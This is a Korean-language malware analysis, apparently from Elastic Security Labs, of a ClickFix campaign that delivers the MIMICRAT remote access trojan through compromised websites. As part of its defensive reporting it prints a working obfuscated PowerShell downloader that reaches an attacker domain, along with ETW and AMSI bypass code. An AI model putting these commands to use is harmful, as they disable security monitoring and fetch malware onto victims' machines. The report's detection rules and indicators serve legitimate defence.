Salim Bitam

미미크랫: 손상된 합법적인 웹사이트를 통해 맞춤형 RAT를 전달하는 클릭픽스 캠페인

Elastic Security Labs는 손상된 합법적인 사이트를 사용하여 악성 C2, 토큰 도용, SOCKS5 터널링이 포함된 맞춤형 네이티브 C RAT인 MIMICRAT으로 끝나는 5단계 체인을 제공하는 ClickFix 캠페인을 발견했습니다.

7분 읽기Malware 분석
미미크랫: 손상된 합법적인 웹사이트를 통해 맞춤형 RAT를 전달하는 클릭픽스 캠페인

서문

최근 조사 중에 Elastic Security Labs는 여러 개의 합법적인 웹사이트를 손상시켜 다단계 멀웨어 체인을 전달하는 활성 ClickFix 캠페인을 확인했습니다. 상품 인포스틸러에서 종료되는 단순한 클릭픽스 배포와 달리, 이 캠페인은 가변형 C2 프로파일, 토큰 사칭, SOCKS5 터널링, 22개 명령어 디스패치 테이블을 갖춘 네이티브 C 임플란트인 MIMICRAT이라고 하는 맞춤형 원격 액세스 트로이목마(RAT)로 끝납니다.

이 캠페인은 여러 산업과 지역에 걸쳐 있는 손상된 사이트가 전송 인프라 역할을 하고, 다단계 파워쉘 체인이 ETW 및 AMSI 우회를 수행한 후 Lua 스크립트 셸코드 로더를 드롭하며, 최종 임플란트는 정상적인 웹 분석 트래픽과 유사한 HTTP 프로필을 사용하여 443 포트에서 HTTPS로 통신하는 등 높은 수준의 운영 정교함을 보여줍니다.

핵심 사항

  • 여러 개의 합법적인 웹사이트가 손상되어 5단계 공격 체인을 제공했습니다.
  • Lua 로더는 임베디드 셸코드를 실행합니다.
  • MIMICRAT은 유연한 C2 프로필, Windows 토큰 도용 및 SOCKS5 프록시를 갖춘 맞춤형 네이티브 C++ RAT입니다.

탐색

이 캠페인은 2월 초에 난독화된 명령줄 인수를 사용하는 의심스러운 PowerShell 실행을 표시하는 엔드포인트 원격 분석을 통해 2026 처음 확인되었습니다.

최종 페이로드의 신규성을 고려하여 2월 11일에소셜 미디어 ()를 통해 초기 지표를 공개하여 2026 전체 분석이 진행되는 동안 광범위한 보안 커뮤니티가 이 위협을 추적하고 방어할 수 있도록 했습니다. 이 캠페인은 이 게시물을 발행하는 현재에도 계속 진행 중입니다.

헌트리스 연구원들은 유사한 인프라와 기법을 사용하는 관련 클릭픽스 캠페인을 문서화했으며, 이는 이 위협 행위자가 여러 병렬 캠페인에서 광범위하게 활동하고 있음을 나타냅니다.

캠페인 전달

이 캠페인은 공격자가 소유한 인프라가 아닌 합법적이고 신뢰할 수 있는 웹사이트를 손상시키는 데 전적으로 의존합니다. 피해자를 위한 진입점은 bincheck[.]io입니다, 합법적인 은행 식별 번호(BIN) 유효성 검사 서비스입니다. 위협 행위자는 이 사이트를 손상시키고 합법적인 인도 뮤추얼 펀드 투자 플랫폼인 https://www.investonline[.]in/js/jq.php 에서 호스팅되는 외부 스크립트를 동적으로 로드하는 악성 JavaScript 스니펫을 삽입했습니다(합법적인 인도 뮤추얼 펀드 투자 플랫폼 (Abchlor Investments Pvt. Ltd.). 외부 스크립트는 페이지의 기존 리소스 로드에 혼합되어 jQuery 라이브러리를 가장하도록 이름이 지정됩니다.

이 원격으로 로드된 스크립트(jq.php)는 피해자에게 "수정" 문제를 해결하라는 명령을 수동으로 붙여넣고 실행하도록 지시하는 가짜 Cloudflare 확인 페이지인 ClickFix 미끼를 전달합니다. 이 미끼는 피해자의 클립보드에 직접 악성 PowerShell 명령을 복사하고 실행 대화 상자(Win+R) 또는 PowerShell 프롬프트를 열어 붙여넣으라는 메시지를 표시합니다. 이 기술은 파일을 다운로드하지 않기 때문에 브라우저 기반 다운로드 보호 기능을 완전히 우회합니다.

이 다차원적 침해는 피해자를 대상으로 하는 웹사이트가 두 번째로 침해된 웹사이트에서 악성 스크립트를 로드하는 방식으로 탐지 위험을 분산하고 사용자와 자동화된 보안 도구 모두에게 미끼의 합법성을 인지시킵니다. 이 캠페인은 17 언어를 지원하며, 피해자의 브라우저 언어 설정에 따라 미끼 콘텐츠가 동적으로 현지화되어 효과적인 도달 범위를 넓힙니다. 확인된 피해자는 미국 소재 대학과 공개 포럼 토론에 기록된 다수의 중국어 사용자 등 여러 지역에 걸쳐 있으며, 이는 광범위한 기회주의적 표적 공격이 이루어졌음을 시사합니다.

다음은 ClickFix에서 지원하는 언어 목록입니다:

  • English
  • 중국어
  • 러시아어
  • 스페인어
  • 프랑스어
  • 독일어
  • 포르투갈어
  • 일본어
  • Korean
  • 이탈리아어
  • 터키어
  • 폴란드어
  • 네덜란드어
  • 베트남어
  • 아랍어
  • 힌디어
  • 인도네시아어

코드 분석

피해자가 클립보드 명령을 실행하면, 캠페인은 다섯 단계로 전개됩니다. 난독화된 PowerShell 다운로더가 C2에 접속하여 Windows 이벤트 로깅(ETW)과 안티바이러스 스캐닝(AMSI)을 패치하는 2단계 스크립트를 검색한 후 Lua 기반 로더를 드롭하고, 로더가 메모리에서 셸코드를 해독하고 실행하며, 셸코드가 최종적으로 지속적인 접근과 측면 이동을 위해 설계된 강력한 RAT인 MIMICRAT을 전달하는 과정으로 진행됩니다.

단계 1 파워쉘 원 라이너 명령

클립보드로 전달되는 명령은 간결하고 난독화된 PowerShell 한 줄짜리 명령입니다:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

이 명령은 단일 시드 문자열(aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf)에 대한 문자열 조각화 및 산술 인덱스 작업을 사용하여 런타임에 대상 도메인과 호출 메커니즘을 모두 재구성하므로 초기 페이로드에서 C2 도메인 또는 PowerShell cmdlet 이름의 일반 텍스트 표현을 피할 수 있습니다. 창이 최소화됩니다(-WInDo Min). 추출된 도메인은 xMRi.neTwOrk 이며, 45.13.212.250 으로 확인되고 2단계 PowerShell 스크립트를 다운로드합니다.

바이러스토탈 관계를 통해 45.13.212.250 에서 인프라를 피벗한 결과 두 번째 도메인인 WexMrI.CC 이 동일한 IP로 확인되었습니다. 두 도메인 모두 동일한 대소문자 혼합 서식 난독화 패턴을 공유합니다.

단계 2 난독화된 파워쉘 스크립트

다운로드한 2단계 PowerShell 스크립트는 훨씬 더 정교합니다. 모든 문자열은 런타임에 산술 표현식을 ASCII 문자로 변환하여 구성됩니다:

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

이 기술은 스크립트를 정적 분석 및 서명 기반 탐지에 불투명하게 만들면서도 런타임에 완전한 기능을 유지합니다. 더미 클래스 선언이 미끼로 포함되고
스크립트는 네 가지 순차적 연산을 실행합니다:

ETW 바이패스

이 스크립트는 리플렉션을 통해 System.Diagnostics.Eventing.EventProvider 클래스의 내부 m_enabled 필드에 액세스하고 해당 값을 0 로 패치하여 Windows용 이벤트 추적을 효과적으로 비활성화하고 PowerShell 스크립트 블록 로깅을 블라인드합니다.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

AMSI 바이패스

그런 다음 스크립트는 리플렉션을 사용하여 System.Management.Automation.AmsiUtils 에 액세스하고 amsiInitFailed 필드를 $true 로 설정하여 PowerShell이 나머지 세션 동안 모든 AMSI 콘텐츠 검색을 건너뛰도록 합니다.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - 메모리 패치

이 스크립트는 메모리에서 메서드 포인터를 덮어쓰는 방어 회피 단계를 추가로 수행하여 모니터링되는 코드 경로에서 실행을 리디렉션하기 위해 Marshal.Copy 을 통해 런타임 메서드 핸들 패치를 수행합니다. 이는 System.Management.Automation.AmsiUtils 아래의 ScanContent 함수를 빈 생성 메서드로 지정합니다.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

페이로드 전송

이벤트 로깅 및 AV 스캔이 비활성화된 상태에서 스크립트는 base64로 인코딩된 ZIP 아카이브를 디코딩하여 %ProgramData%/knz_{random} 아래의 임의의 디렉토리로 추출한 다음 포함된 바이너리 zbuild.exe 를 실행합니다. 임시 아티팩트는 실행 후 정리됩니다.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

스테이지 3 루아 로더

드롭된 바이너리는 커스텀 Lua 5.4.7 로더입니다. Lua 인터프리터를 정적으로 임베드합니다.
바이너리는 런타임에 XOR 스텁을 사용하여 임베디드 Lua 스크립트를 해독한 다음 실행합니다. XOR 복호화 루틴(fxh::utility::lua_script_xor_decrypt)은 암호화된 버퍼에서 키에 대해 각 바이트를 XOR하는 작업을 반복합니다.

Lua 스크립트는 비표준 알파벳으로 사용자 지정 Base64 디코더를 구현하여 임베디드 셸코드를 디코딩합니다. 디코딩된 셸코드는 luaalloc 을 통해 실행 메모리에 할당되고, luacpy 을 통해 해당 메모리로 복사되며, 마지막으로 luaexe 을 통해 실행되어 파일 없는 완전한 인메모리 셸코드 실행이 이루어집니다.

단계 4 셸코드

셸코드가 Meterpreter 관련 서명과 일치하여 셸코드 단계가 MIMICRAT을 메모리에 반사적으로 로드하는 Meterpreter 코드군과 일치하는 로더임을 시사했습니다.

Stage 5 MIMICRAT

컴파일 메타데이터가 1월 2026년 1월로 설정된 최종 페이로드( 29 ) 는 Microsoft Visual Studio 링커 버전 14.44로 컴파일된 네이티브 MSVC x64 PE입니다. 알려진 오픈 소스 C2 프레임워크와 정확히 일치하지 않으며, ASCII 문자 기반 명령 디스패치와 사용자 지정 아키텍처로 자체 가변형 HTTP C2 프로파일을 구현합니다.

C2 구성 및 커뮤니케이션

미미크랫의 구성은 .data 섹션에 저장됩니다. 여기에는 암호화 키, 연결 매개변수, 두 개의 완전한 HTTP 통신 프로필이 포함되어 있습니다. 모든 헤더 문자열과 URI는 16진수 인코딩된 ASCII이며 런타임에 디코딩됩니다.

C2는 10초 콜백 간격으로 443 포트에서 HTTPS를 통해 작동합니다. C2 서버 호스트 이름(d15mawx0xveem1.cloudfront.net)은 다음 RC4 키 @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5 로 RC4 암호화되어 있습니다.

임플란트는 계층화된 암호화 체계와의 통신을 위해 HTTPS를 사용합니다. 내장된 RSA-1024 공개 키는 비대칭 세션 키 교환을 처리합니다.

AES는 C2 트래픽의 대칭 암호화에 사용되지만 하드코딩된 IV abcdefghijklmnop 및 무작위로 생성된 영숫자 값 예제의 SHA-256 해시 값에서 파생된 런타임 계산 키를 사용합니다. 9ZQs0p0gfpOj3Y02.

다음은 샘플에서 POST 및 GET 요청에 사용한 프로필입니다:

HTTP GET 프로필: 체크인 및 태스킹
구성 요소
우리/intake/organizations/events?channel=app
사용자 에이전트Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045
참조자[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)
수락 언어zh-CN,zh;q=0.9
도용AFUAK, BLA, HFK
HTTP POST 프로필: 데이터 유출
구성 요소
우리/discover/pcversion/metrics?clientver=ds
참조자[https://gsov.google.com/](https://gsov.google.com/)
도용ARCHUID, BRCHD, ZRCHUSR

명령 디스패치

MIMICRAT은 프로세스 및 파일 시스템 제어, 대화형 셸 액세스, 토큰 조작, 셸코드 삽입, SOCKS 프록시 터널링과 같은 익스플로잇 후 기능을 제공하기 위해 총 22 별개의 명령을 구현합니다. 비콘 간격과 지터는 전용 명령을 통해 운영자가 런타임에 구성할 수 있습니다. 다음은 구현된 모든 명령어를 요약한 표입니다:

Cmd ID기능설명
3종료임플란트 프로세스를 종료합니다.
4비콘 간격 설정절전 기간 및 지터 구성
5디렉토리 변경현재 작업 디렉터리를 변경합니다.
10파일 쓰기C2에서 제공하는 페이로드를 디스크에 쓰기(덮어쓰기)
11파일 읽기디스크에서 파일을 읽고 내용을 C2로 유출합니다.
12스폰 프로세스가능한 경우 도난당한 토큰을 사용하여 프로세스를 시작하고 표준 실행으로 되돌아갑니다.
28사칭 되돌리기토큰 사칭을 되돌리고 토큰 상태를 지웁니다.
31토큰 훔치기대상 프로세스의 보안 토큰을 PID별로 복제합니다.
32프로세스 나열PID, PPID, 사용자, 도메인 및 아키텍처로 실행 중인 프로세스를 열거합니다.
33프로세스 종료PID로 프로세스를 종료합니다.
39현재 디렉터리 가져오기현재 작업 디렉터리를 C2로 반환합니다.
53파일 목록타임스탬프 및 크기와 함께 파일 및 디렉터리를 나열합니다.
54디렉토리 만들기디스크에 디렉터리 만들기
55드라이브 목록논리 드라이브를 열거합니다.
56파일/디렉토리 삭제파일을 삭제하거나 디렉토리를 제거합니다.
67파일에 추가C2에서 제공하는 데이터를 기존 파일에 추가합니다.
73파일 복사소스에서 대상으로 파일 복사
74파일 이동/이름 바꾸기파일 이동 또는 이름 변경
78대화형 셸파이프를 통해 영구 대화형 CMD 셸을 엽니다.
100셸코드 삽입반사적 셸코드 삽입
101SOCKSSOCKS 프록시 채널을 구성하거나 중지합니다.
102SOCKS 프록시명령 101과 핸들러 공유; 대부분 자리 표시자 명령일 가능성이 높습니다.

인프라

캠페인의 네트워크 인프라는 크게 두 가지 그룹으로 분류됩니다:

클러스터 A - 초기 페이로드 전송 (45.13.212.251 / 45.13.212.250)

xMRi.neTwOrkWexMrI.CC 을 포함하여 여러 도메인이 이 IP 범위를 가리킵니다. 도메인 이름 지정은 대소문자 혼합 난독화를 사용합니다. 이 인프라는 2단계 PowerShell 스크립트와 임베디드 페이로드 ZIP을 제공합니다.

클러스터 B 포스트 익스플로잇 C2 (23.227.202.114)

www.ndibstersoft[.]com 와 연결되고 드롭된 파일의 비콘 통신에서 관찰됩니다. 이는 운영자의 익스플로잇 후 C2 채널을 나타냅니다.

CloudFront C2 릴레이
d15mawx0xveem1.cloudfront[.]net미미크랫의 C2 인프라의 일부로 확인되었습니다. rgen.zip 샘플의 VT 관계는 MIMICRAT의 GET 프로필에서 확인된 것과 동일한 /intake/organizations/events?channel=app URI 패턴을 사용하여 이 CloudFront 도메인에 접속하는 것으로 나타나 백엔드 서버의 C2 릴레이 프런팅 역할을 하는 것으로 확인되었습니다.

전송 인프라

두 개의 손상된 합법적인 웹사이트가 배달 체인을 형성합니다:

  • bincheck.io - 피해자를 향한 진입 지점; 외부 악성 스크립트를 로드하기 위해 손상됨
  • investonline.in - 은 jQuery로 위장한 ClickFix JavaScript 페이로드(/js/jq.php)를 호스팅하며, 이 스크립트는 루어를 렌더링하고 클립보드 PowerShell을 전달합니다.

멀웨어 및 MITRE ATT&CK**

Elastic은 MITRE ATT& CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다.

전술

전술은 기술 또는 하위 기술의 이유를 나타냅니다. 이는 적의 전술적 목표, 즉 행동을 수행하는 이유입니다.

기술

기술은 공격자가 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.

완화

탐지

이 침입 집합을 분석하는 동안 다음과 같은 탐지 규칙과 행동 방지 이벤트가 관찰되었습니다:

YARA

Elastic Security는 이 활동을 식별하기 위해 YARA 규칙을 만들었습니다. 다음은 미믹랫을 식별하는 YARA 규칙입니다:

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

관찰

모든 관측값은 결합된 압축 파일 번들로 ECS 및 STIX 형식으로도 다운로드할 수 있습니다.

이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다.

관측 가능합니다.유형이름참조
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1SHA-256단계 1 PowerShell 페이로드
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51SHA-256루아 로더
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4bSHA-256미미크랫 비콘
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28bebSHA-256관련 비콘 샘플
45.13.212.251IP페이로드 전송 인프라
45.13.212.250IP페이로드 전송 인프라
23.227.202.114IP익스플로잇 후 C2
xmri.network도메인Stage 1 C2 / 페이로드 전송
wexmri.cc도메인스테이지 1 C2 대체
www.ndibstersoft[.]com도메인익스플로잇 후 C2
d15mawx0xveem1.cloudfront[.]net도메인익스플로잇 후 C2
www.investonline.in/js/jq.phpURL악성 JS 페이로드 호스트(손상됨)
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zipURL페이로드 전송

이 문서 공유하기